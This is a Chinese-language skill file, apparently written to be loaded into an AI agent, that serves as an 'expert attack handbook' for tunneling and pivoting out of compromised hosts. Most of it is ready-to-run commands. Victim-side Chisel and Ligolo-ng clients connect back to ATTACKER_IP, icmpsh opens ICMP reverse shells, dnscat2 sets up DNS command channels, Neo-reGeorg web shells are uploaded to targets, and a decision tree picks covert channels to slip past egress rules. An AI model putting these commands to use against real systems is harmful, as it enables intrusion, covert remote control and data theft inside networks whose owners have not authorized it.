tunneling-and-pivoting

技能：隧道与跳板——专家攻击手册

AI 加载说明：专家级隧道与跳板技术。涵盖 SSH 端口转发（本地／远程／动态／跳转）、Chisel 反向 SOCKS、Ligolo-ng 透明 TUN 跳板、socat 中继、DNS／ICMP／HTTP 隧道、ProxyChains 配置、Windows 跳板（netsh／plink）和多层链式连接。基础模型会遗漏根据出口规则选择工具和配置透明路由的步骤。

0. 相关路由

深入了解前，可考虑加载：

• network-protocol-attacks，了解如何从跳板位置发起网络层攻击
• reverse-shell-techniques，了解如何建立初始访问 Shell
• unauthorized-access-common-services，了解如何利用通过跳板发现的服务
• 跳转到新主机后，加载 linux-privilege-escalation 或 windows-privilege-escalation

---

1. SSH 隧道

本地端口转发

通过跳板将本地端口转发到远程服务。

# Access INTERNAL_HOST:3306 via localhost:3306
ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N

# Access internal web app
ssh -L 8080:10.10.10.100:80 user@PIVOT -N
# Browse: http://localhost:8080

# Bind to all interfaces (share with teammates)
ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N

远程端口转发

将本地服务暴露给跳板主机所在网络。

# Make attacker's port 8000 accessible on pivot as pivot:9000
ssh -R 9000:127.0.0.1:8000 user@PIVOT -N

# Expose attacker's listener to internal network
ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N
# Internal hosts connect to PIVOT:4444 → reaches attacker:4444

动态端口转发（SOCKS 代理）

# Create SOCKS4/5 proxy on localhost:1080
ssh -D 1080 user@PIVOT -N

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24

# Or with browser SOCKS proxy → browse internal web apps

跳转主机（ProxyJump）

# Single jump
ssh -J jumphost user@TARGET

# Multiple jumps
ssh -J jump1,jump2 user@TARGET

# SSH config for persistent jump
# ~/.ssh/config
Host internal-target
    HostName 10.10.10.100
    User admin
    ProxyJump [email protected]

---

2. CHISEL

反向 SOCKS 代理（最常用）

# Attacker: start chisel server
chisel server --reverse --port 8080

# Victim: connect back as client, create reverse SOCKS
chisel client ATTACKER_IP:8080 R:socks

# Result: SOCKS5 proxy on attacker's 127.0.0.1:1080
proxychains nmap -sT -Pn INTERNAL/24

端口转发

# Forward specific port
chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306

# Multiple forwards
chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80

# Reverse port forward (expose attacker service to victim network)
chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444

---

3. LIGOLO-NG

基于 TUN 接口的跳板——无需 SOCKS 的透明路由。

# Attacker: start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# Agent (victim): connect to proxy
ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert

# In ligolo-proxy console:
>> session                    # select agent session
>> ifconfig                   # view agent's network interfaces
>> start                      # start tunnel

# Add routes on attacker to reach internal networks
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 172.16.0.0/16 dev ligolo

侦听器（通过跳板捕获反向 Shell）

# In ligolo-proxy console:
>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# Internal hosts connecting to AGENT:4444 → forwarded to attacker:4444

双重跳板

# Agent 1 on DMZ → tunnel to internal network 1
# Agent 2 on internal network 1 → tunnel to internal network 2
# Add routes for both networks on attacker
sudo ip route add 10.0.0.0/24 dev ligolo    # via agent 1
sudo ip route add 172.16.0.0/24 dev ligolo  # via agent 2

---

4. SOCAT

# TCP port forward
socat TCP-LISTEN:8080,fork TCP:INTERNAL:80

# UDP relay
socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53

# Encrypted tunnel
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80

# File transfer via socat
# Receiver:
socat TCP-LISTEN:9999,fork file:received_file,create
# Sender:
socat TCP:RECEIVER:9999 file:send_file

---

5. PROXYCHAINS / PROXIFIER

ProxyChains 配置

# /etc/proxychains4.conf
strict_chain          # fail if any proxy is down
# dynamic_chain       # skip dead proxies
# random_chain        # randomize proxy order

[ProxyList]
socks5 127.0.0.1 1080        # first hop (SSH dynamic forward)
socks5 127.0.0.1 1081        # second hop (if chaining)

# Usage
proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24
proxychains crackmapexec smb 10.10.10.0/24
proxychains evil-winrm -i 10.10.10.50 -u admin -p pass

---

6. WINDOWS 跳板

Netsh 端口转发

:: Forward port (requires admin)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP

:: List forwards
netsh interface portproxy show all

:: Remove
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

Plink（PuTTY 命令行）

:: Dynamic SOCKS (like ssh -D)
plink.exe -ssh -D 1080 -N user@ATTACKER

:: Remote port forward
plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER

:: Automated (non-interactive, accept host key)
echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER

---

7. DNS 隧道

# iodine — IP-over-DNS
# Server (attacker, with NS record pointing to attacker):
iodined -f -c -P password 10.0.0.1 t1.yourdomain.com

# Client (victim):
iodine -f -P password t1.yourdomain.com
# Creates dns0 interface → route traffic through it

# dnscat2 — command channel over DNS
# Server:
ruby dnscat2.rb yourdomain.com
# Client:
./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET

---

8. ICMP 隧道

# icmpsh — ICMP reverse shell (no raw socket on victim needed for Windows)
# Attacker:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py ATTACKER_IP VICTIM_IP

# Victim (Windows):
icmpsh.exe -t ATTACKER_IP

# ptunnel-ng — TCP-over-ICMP
# Server:
ptunnel-ng -r INTERNAL_HOST -R 22
# Client:
ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22
ssh -p 2222 [email protected]

---

9. HTTP 隧道

# Neo-reGeorg — SOCKS proxy via web shell
# Generate tunnel web shell:
python3 neoreg.py generate -k PASSWORD

# Upload tunnel.php/aspx/jsp to target web server

# Connect:
python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php
# SOCKS proxy on 127.0.0.1:1080

# Tunna — HTTP tunnel (alternative)
python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP

---

10. 跳板决策矩阵

允许的出口流量	工具	备注
任意端口的 TCP 出站流量	Chisel、Ligolo-ng、SSH	配置最快
仅允许 TCP 80／443	Chisel（HTTP/S）、Neo-reGeorg	与 Web 流量混合
仅允许 DNS（53/udp）	iodine、dnscat2	速度慢，但隐蔽性强
仅允许 ICMP	ptunnel-ng、icmpsh	限制极严的环境
不允许出站流量	绑定 Shell + 入站端口转发	需要能够从外部访问跳板
仅允许 Web Shell	Neo-reGeorg、Tunna	仅 HTTP 文件上传可用时

---

11. 决策树

Compromised host — need to reach internal network
│
├── Can install tools on pivot?
│   ├── YES + outbound TCP allowed?
│   │   ├── Need transparent routing? → Ligolo-ng (§3)
│   │   ├── Need SOCKS proxy? → Chisel reverse SOCKS (§2)
│   │   └── SSH available? → SSH dynamic forward (§1)
│   │
│   ├── YES + only HTTP(S) outbound?
│   │   ├── Chisel over HTTPS (§2)
│   │   └── Upload web tunnel → Neo-reGeorg (§9)
│   │
│   ├── YES + only DNS outbound?
│   │   └── iodine or dnscat2 (§7)
│   │
│   └── YES + only ICMP allowed?
│       └── ptunnel-ng or icmpsh (§8)
│
├── Cannot install tools (web shell only)?
│   └── Neo-reGeorg / Tunna via web shell (§9)
│
├── Windows pivot?
│   ├── Admin access? → netsh portproxy (§6)
│   ├── SSH client available? → ssh.exe (Windows 10+) (§1)
│   └── Outbound SSH? → plink (§6)
│
├── Need multi-layer pivot?
│   ├── Ligolo-ng: multiple agents + route stacking (§3)
│   ├── SSH ProxyJump chaining (§1)
│   └── ProxyChains with multiple SOCKS (§5)
│
└── Teammate needs access too?
    ├── Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...)
    └── Share Ligolo-ng routes via common proxy